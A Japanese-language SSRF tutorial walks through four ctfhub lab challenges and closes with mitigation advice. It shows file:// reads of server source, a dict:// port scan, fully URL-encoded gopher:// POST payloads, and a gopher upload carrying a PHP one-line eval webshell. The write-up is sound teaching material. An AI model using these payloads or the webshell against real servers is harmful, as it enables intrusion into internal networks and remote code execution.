概念#
SSRF、正式には Server-Side Request Forgery、サーバーサイドリクエスト偽造は、攻撃者がサーバーを代表してリクエストを送信できるようにする脆弱性です。これにより、攻撃者は攻撃対象のサーバーのリクエスト署名を「偽造」し、ウェブ上で優位に立ち、ファイアウォールの制御を回避し、内部サービスへのアクセスを得ることができます。
形成原因:サーバー側が他のサーバーアプリケーションからデータを取得する機能を提供しているが、ターゲットアドレスに対して厳格なフィルタリングと制限を行っていないため、攻撃者は任意のアドレスを入力してバックエンドサーバーにリクエストを送信させ、そのターゲットアドレスに対するリクエストデータを返させることができます。
では、いつSSRF
が発生する可能性があるのでしょうか?最も一般的なのは、サーバーが外部リソースを必要とする場合です。
例えば、web
がgoogle
からサムネイル画像を読み込む必要がある場合、リクエストは次のようになります:
https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
google.com
からcutpugs.jpeg
を取得する際、Web
アプリケーションはgoogle.com
にアクセスし、google.com
からコンテンツを取得する必要があります。
もしサーバーが内部リソースと外部リソースを区別しなければ、攻撃者は簡単にリクエストを発行できます:
https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt
そして、web
サーバーが攻撃者のweb
サーバーにパスワードを含むファイルを表示させることになります。
SSRF
攻撃を受けやすい機能のいくつかを挙げると、Web hook
、URL
を介したファイルアップロード、ドキュメントおよび画像処理、リンク拡張、プロキシサービス(これらの機能はすべて外部リソースにアクセスして取得する必要があるため)です。
PHP では:特定の関数の不適切な使用が SSRF を引き起こすことがあります。例えば:
- file_get_contents (): ファイルを文字列に書き込む際、URL が内部ネットワークのファイルである場合、そのファイルの内容を読み取ってから書き込むため、ファイル読み取りが発生します。
- fsockopen (): ユーザー指定の URL からデータ(ファイルまたは HTML)を取得するために使用される関数で、ソケットを使用してサーバーと TCP 接続を確立し、原始データを転送します。
- curl_exec()、dict、gopher の 3 つのプロトコルを使用して浸透します。
危害:web
アプリケーションが到達可能なサーバーサービスのbanner
情報を取得し、内部ネットワークのweb
アプリケーションのフィンガープリンティングを収集します。
これらの情報に基づいてさらに浸透し、内部ネットワークで実行されているシステムやアプリケーションを攻撃し、内部ネットワークシステムの弱いパスワードを取得して内部ネットワークを横断します。
脆弱性のある内部ネットワークのweb
アプリケーションに対して攻撃を実施し、webshell
を取得します。
脆弱なコンポーネントを利用してftp://、file://、dict://
などのプロトコルを組み合わせて攻撃を実施します。
脆弱性発生点:
url
アドレスを介してウェブコンテンツを共有する- ファイル処理、エンコーディング処理、トランスコーディングなどのサービス
- オンライン翻訳
- URL アドレスを介して画像を読み込みおよびダウンロードする
- 画像、記事のコレクション機能
- 公開されていない API の実装およびその他の URL 呼び出し機能
- ウェブサイトのメールが他のメールを受信する機能
url
キーワードから探す:
share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain
以下はctfhubのターゲットと組み合わせて実戦解説を行います。
0x01 第一題 内部ネットワークアクセス#
簡単なデモ:
まずは例を挙げてウォームアップしましょう。引き続きctfhub
スキルツリーのweb
第一題、内部ネットワークアクセスです。
問題のヒントは:127.0.0.1
にあるflag.php
にアクセスしてみてください。
問題を開くと空白で、url
はxxx.com:yyyy/?url=_
です。
うん、いいですね、何を意味するのかわかりませんが、この記事はここで終わりです。。でしょうか?そんなことはありません。
url=127.0.0.1/flag.php
次に進みましょう。
0x02 第二題 ポートスキャン#
問題のヒントはポートが8000-9000
にあるため、直接スキャンすればよいです。
ここではdict
擬似プロトコルを使用してスキャンする必要があります。なぜなら、dict
プロトコルは開いているポートを探るために使用できるからです。
擬似プロトコルについては、文末の参考記事を参照して学んでください。
ポート8605
を取得しました:
flag
を取得し、次の問題POST
リクエストに進みましょう。
0x03 第三題 POST リクエスト#
問題の説明は次の通りです。
「今回は HTTP POST リクエストを送信します。そうそう、ssrf は php の curl で実装されています。そして 302 リダイレクトを追跡します。頑張ってください、若者。」
ヒントから、SSRF
を利用してPOST
リクエストを送信する必要があることがわかります。自然にgopher
を思い浮かべます。
また、問題文でもcurl
が言及されており、curl
はちょうどgopher
プロトコルをサポートしています。
したがって、この問題は高確率でgopher
を利用してPOST
リクエストを送信し、flag
を取得することになります。
まずはflag.php
が存在するか確認しましょう:
flag.php
は確かに存在し、返された中にdebug
パラメータkey
があります。
<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->
私たちはgopher
プロトコルを使用して302.php
のリダイレクトを通じてpost key
をflag.php
に送信する必要があります。
ただし、127.0.0.1
からデータを送信する必要があることに注意してください。
それでは、flag.php
とindex.php
の内容を読み取れるか確認してみましょう:
/?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
/?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
擬似プロトコルについても文末の参考記事を参照して学んでください。
gopher
データを構築します。
まずは次のようにして
{host}:{port}/index.php?url=http://127.0.0.1/302.php
gopher
プロトコルをリダイレクトし、POST
を構築します。gopher
と組み合わせると、データパケットは次のようになります:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=4a0c2731eeeb016454ef8984765b990d
上記のデータパケットの内容は一つも欠かせません。注意すべき点は:
- 特に Content-Length の長さに注意してください。このフィールドは必ず必要で、長さが合わないといけません。
- key を変更することに注意してください。
- URL エンコーディングの回数は、リクエストの回数によって決まります。例えば、直接 POST リクエストを送信する場合は 1 回、直接
?url
を打つ場合はさらに 1 回追加され、合計 2 回になります。
ここで、非常に便利なオンラインエンコーディングサイトをお勧めします。CyberChef
まず、左側の検索バーでurl encode
を検索し、この機能を機能バーにドラッグします。
上記のコードをコピーして、最初のURL
エンコーディングの結果を得ます(注意:デフォルトでは特殊文字をエンコードする必要はありません):
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d
ここで改行を処理する必要があります。デフォルトの改行エンコーディングは%0A
ですが、これを%0D%0A
に変更する必要があります。
したがって、ページの左側でFind / Replace
を検索し、機能バーにドラッグして設定します:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d
最後に、?url
を介して移動するため、もう一度エンコードする必要があります:
最終的なパケットは:
GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja-JP,ja;q=0.8,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
パケットを送信してflag
を取得します:
0x04 第四題 ファイルアップロード#
ヒントは
今回は
flag.php
にファイルをアップロードする必要があります。幸運を祈ります。
直接127.0.0.1
のflag.php
にアクセスすると、ファイルアップロードインターフェースが表示され、webshell
をアップロードするように指示されます:
しかし、選択ファイルのボタンしかなく、ファイルをアップロードするボタンがないようです。?url=file:///var/www/html/index.php
にアクセスすると、index.php
のソースコードが得られます:
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?url=file:///var/www/html/flag.php
にアクセスすると、flag.php
のソースコードが得られます:
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
echo getenv("CTFHUB");
exit;
}
?>
Webshellをアップロード
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
flag.php
は、アップロードされたファイルのサイズが 0 より大きいだけでflag
を取得できることがわかります。フィルタリングはありません。
次に、gopher
プロトコルを利用してファイルをアップロードしてみましょう。まず、ファイルアップロードのデータパケットを取得する必要があります。その後、gopher
のpayload
を作成します。
したがって、このファイルアップロードのflag.php
ページをF12
で前端改写し、submit
送信ボタンを追加します。
(ただし、ここで送信ボタンをクリックしてもflag
は取得できず、必ずターゲットマシンからローカルアクセスが必要です。)
1 行追加します:
<input type="submit" name="submit">
これで送信ボタンが表示されます:
適当にファイルを選択し、パケットをインターセプトして送信ボタンをクリックします。
flag
にアクセスするにはローカルアクセスが必要なため、HOST
を127.0.0.1
に変更します。
POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja-JP,ja;q=0.8,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"
送信
-----------------------------22285140113870486144781081380--
その後、上記の操作と同様にurl
をエンコードし、%0A
を%0D%0A
に変更し、さらにurl
をエンコードします。
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520ja-JP,ja;q=0.8,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--%250D%250A
gopher
プロトコルを使用すると、flag
を取得できます:
修正提案#
- 不要なプロトコルを無効にし、HTTP および HTTPS リクエストのみを許可することで、file://、gopher://、ftp:// などによる問題を防ぐことができます。
- ホワイトリスト方式でアクセスするターゲットアドレスを制限し、内部ネットワークへのリクエストを禁止します。
- リクエストの応答に含まれる詳細情報をフィルタリングまたはブロックし、リモートサーバーがリクエストに応じた応答を検証することが比較的容易な方法です。ウェブアプリケーションが特定の種類のファイルを取得する場合、返された結果をユーザーに表示する前に、返された情報が基準に合致しているかを検証します。
- リクエストのファイル形式を検証します。
- リダイレクトを禁止します。
- リクエストのポートを HTTP の一般的なポート(例えば 80、443、8080、8000 など)に制限します。
- 統一されたエラーメッセージを提供し、ユーザーがエラーメッセージに基づいてリモートサーバーのポート状態を判断できないようにします。
参考記事: